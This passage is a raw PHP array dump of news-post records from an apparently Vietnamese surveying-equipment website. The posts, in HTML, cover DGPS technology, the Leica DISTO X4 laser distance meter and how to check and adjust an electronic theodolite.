initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66301', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68150', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-10', 'status' => '1', 'view' => '84410', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '494', 'name' => 'Cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử', 'code' => null, 'alias' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Hãy cùng chúng tôi tìm hiểu cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử nhé!</span></span>', 'content' => '<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="1bot-thuy-dai" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1.Bọt thủy dài</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt độ vuông góc trục bọt thủy dài với trục đứng của máy)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên chân và tiến hành cân máy </span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ và kiểm tra xem bọt khí có nằm đúng tâm bọt thủy không</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp bọt thủy nằm đúng vị trí, không cần hiệu chỉnh. Nếu khác đi, tiến hành hiệu chỉnh theo hướng dẫn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay vít chỉnh bọt thủy dài với tâm chính đã cung cấp kèm theo, đưa bọt khí dịch về tâm một nửa khoảng sai lệch</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Chỉnh tâm bọt khí bằng vít cân máy A</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Kiểm tra lại và hiệu chỉnh cho đến khi đạt kết quả</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinh bot thuy dai" class="wp-image-5348 size-full aligncenter" height="346" sizes="(max-width: 488px) 100vw, 488px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai-300x213.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png 488w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="488" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="2bot-thuy-tron" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Bọt thủy tròn</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trước khi tiến hành cân bằng bọt thủy tròn, kiểm tra xem có sự sai lệch của bọt khí khỏi vòng chuẩn tâm trên bọt thủy. Trường hợp không có sự sai lệch, không cần hiệu chỉnh. Nếu có sai lệch, lấy tăm chỉnh dùng tay hiệu chỉnh ba vít hiệu chỉnh đưa bọt khí về tâm.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinhbotthuytron" class="wp-image-5349 size-full aligncenter" height="344" sizes="(max-width: 493px) 100vw, 493px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1-300x209.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png 493w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="493" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="3kinh-doi-tam" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">3.Kính dọi tâm</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt thẳng hàng trục thấu kính theo phương dây dọi với trục đứng cảu thiết bị)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đăt thiết bị lên chân ( không cần cân bằng)</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt tấm vạch dấu “X” xuống đất bên dưới thiết bị</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhìn vào kính dọi tâm, chỉnh vít cân máy đưa ảnh dấu “X” vào tâm vòng chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span 